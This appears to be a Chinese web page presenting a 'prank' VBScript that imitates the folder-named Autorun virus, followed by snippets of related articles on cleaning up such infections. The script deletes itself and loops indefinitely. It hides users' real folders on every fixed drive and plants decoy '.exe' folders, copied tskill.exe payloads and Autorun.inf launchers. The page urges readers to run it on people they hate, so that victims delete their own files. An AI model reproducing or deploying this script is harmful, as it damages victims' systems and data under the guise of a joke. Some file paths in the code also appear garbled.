vbs整人代码--文件夹同名病毒 vbs整人代码

vbs整人代码,文件夹同名病毒(Autorun病毒)大家都熟悉吧?效果就是那样(不过放心吧,绝不是真的病毒,骗人的),试想,如果有人中招,他会怎么办?杀毒?没用(因为根本不是病毒),情急之下咋办?胡乱删一通,抱歉,他亲手将自己亲爱的文件删了......

废话不多说了,代码如下,大家知道该怎么用:

''''''''''''''''''''代码开始''''''''''''''''''''

On Error Resume Next

Set fso=CreateObject("Scripting.FileSystemObject")

Set Cx=fso.GetSpecialFolder(0)

fso.GetFile(WScript.ScriptFullName).Delete(True)

Do

C=fso.GetParentFolderName(Cx)

Set Fdrs=fso.GetFolder(C).SubFolders

For Each Fdr In Fdrs

If Not fso.GetExtensionName(Fdr.Name)="exe" Then

fso.CreateFolder(C & Fdr.Name & ".exe")

Set fun=fso.GetFile(C & "WINDOWSsystem32tskill.exe")

fun.Attributes=6

fun.Copy(C & Fdr.Name & ".exefun.xls.exe")
vbs整人代码--文件夹同名病毒 vbs整人代码

Set auto=fso.CreateTextFile(C & Fdr.Name & ".exeAutorun.inf")

auto.WriteLine("[Autorun]")

auto.WriteLine("Open=fun.xls.exe")

auto.Close

Set auto=Nothing

Set fun=Nothing

fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes

Fdr.Attributes=6

End If

Next

Set Cx=Nothing

Set Fdrs=Nothing

Set drvs=fso.Drives

For Each drv In drvs

If drv.DriveType=2 Then

If drv & "" = C Then

Else

Set Fdrs=fso.GetFolder(drv).SubFolders

For Each Fdr In Fdrs

If Not fso.GetExtensionName(Fdr.Name)="exe" Then

Fdr.Name=Fdr.name & ".exe"

Set fun=fso.GetFile(C & "WINDOWSsystem32tskill.exe")

fun.Copy(drv & "" & Fdr.Name & "fun.xls.exe")

Set auto=fso.CreateTextFile(drv & "" & Fdr.Name & "Autorun.inf")

auto.WriteLine("[Autorun]")

auto.WriteLine("Open=fun.xls.exe")

auto.Close

Set auto=Nothing

Set fun=Nothing

End If

Next

End If

End If

Next

WScript.Sleep 60*1000

Loop

''''''''''''''''''''代码结束''''''''''''''''''''

打开记事本,复制,保存缀名为vbs格式

注意:此代码不可乱用,可能会把人弄疯的

除非是你最恨的人

vbs整人代码-我是大笨蛋

vbs整人代码-电脑关不掉与关不完的窗口

vbs整人代码-让对方直接关机

VBS整人代码(爱情测试与电脑关机等)

vbe整人代码大全(强制自动关机、打开无数计算器、

vBS整人代码 好玩的vbs整人代码

vbs整人代码之系统快要崩溃了

VBS经典整人代码一例

vbs整人代码-关不掉的窗口(图文)

vbs整人代码-定时关机

  

爱华网本文地址 » http://www.413yy.cn/a/25101013/180989.html

更多阅读

关于文件夹变为.exe文件解决方法 文件夹变为exe

关于文件夹变为.exe文件解决方法相关工具软件下载:http://pan.baidu.com/s/1sjFF0gl1.有时候我们会遇到这种情况,文件夹变成了可执行文件,杀毒软件报告病毒,同时将文件加入到隔离区,下面我就来介绍下解决方法:图片中GiveIO文件夹变成了

怎样修复U盘隐藏文件夹 u盘文件夹被隐藏

利用U盘修复工具修复U盘隐藏文件夹怎样修复U盘隐藏文件夹——工具U盘杀毒专家怎样修复U盘隐藏文件夹——步骤/方法怎样修复U盘隐藏文件夹 1、 突然发现U盘里面的文件和文件夹全部消失了或者全部变成带exe后缀名的文件,怎么回事?使用

怎样解决文件夹变成EXE可执行文件的问题 u盘里的文件夹变成exe

其实原文件夹并没有被改成.exe,只是被隐藏起来了,而那些后面有.exe的文件夹,其实并不是文件夹,它是病毒创建的一个同名的的应用程序文件(可以查看它的属性),为了作掩饰,它把自己的图标改成了文件夹的图标。当你打开它时,就会把这个病毒给激活

文件夹拒绝访问的原因与解决办法 拒绝访问文件夹

文件夹拒绝访问的原因与解决办法——简介在使用电脑过程中我们经常会遇到这样或那样的问题,今天本文将于大家分享下打开文件提示文件夹拒绝访问导致无法打开的问日。偶尔有朋友可能会遇到这样的问题,打开某个文件夹提示拒绝访问,很多朋

文件夹选项在哪 文件夹选项在哪 win10

文件夹选项在哪——简介大家都知道windows的功能十分的强大,但是东西强大了里面的内容也就复杂了,比如说不懂电脑的人经常会让电脑中毒,即使是装了杀毒软件也还是经常中毒。但是懂电脑的人即使是不装杀毒软件也不会中毒,归根究底就是一

声明:《vbs整人代码--文件夹同名病毒 vbs整人代码》为网友绝里花分享!如侵犯到您的合法权益请联系我们删除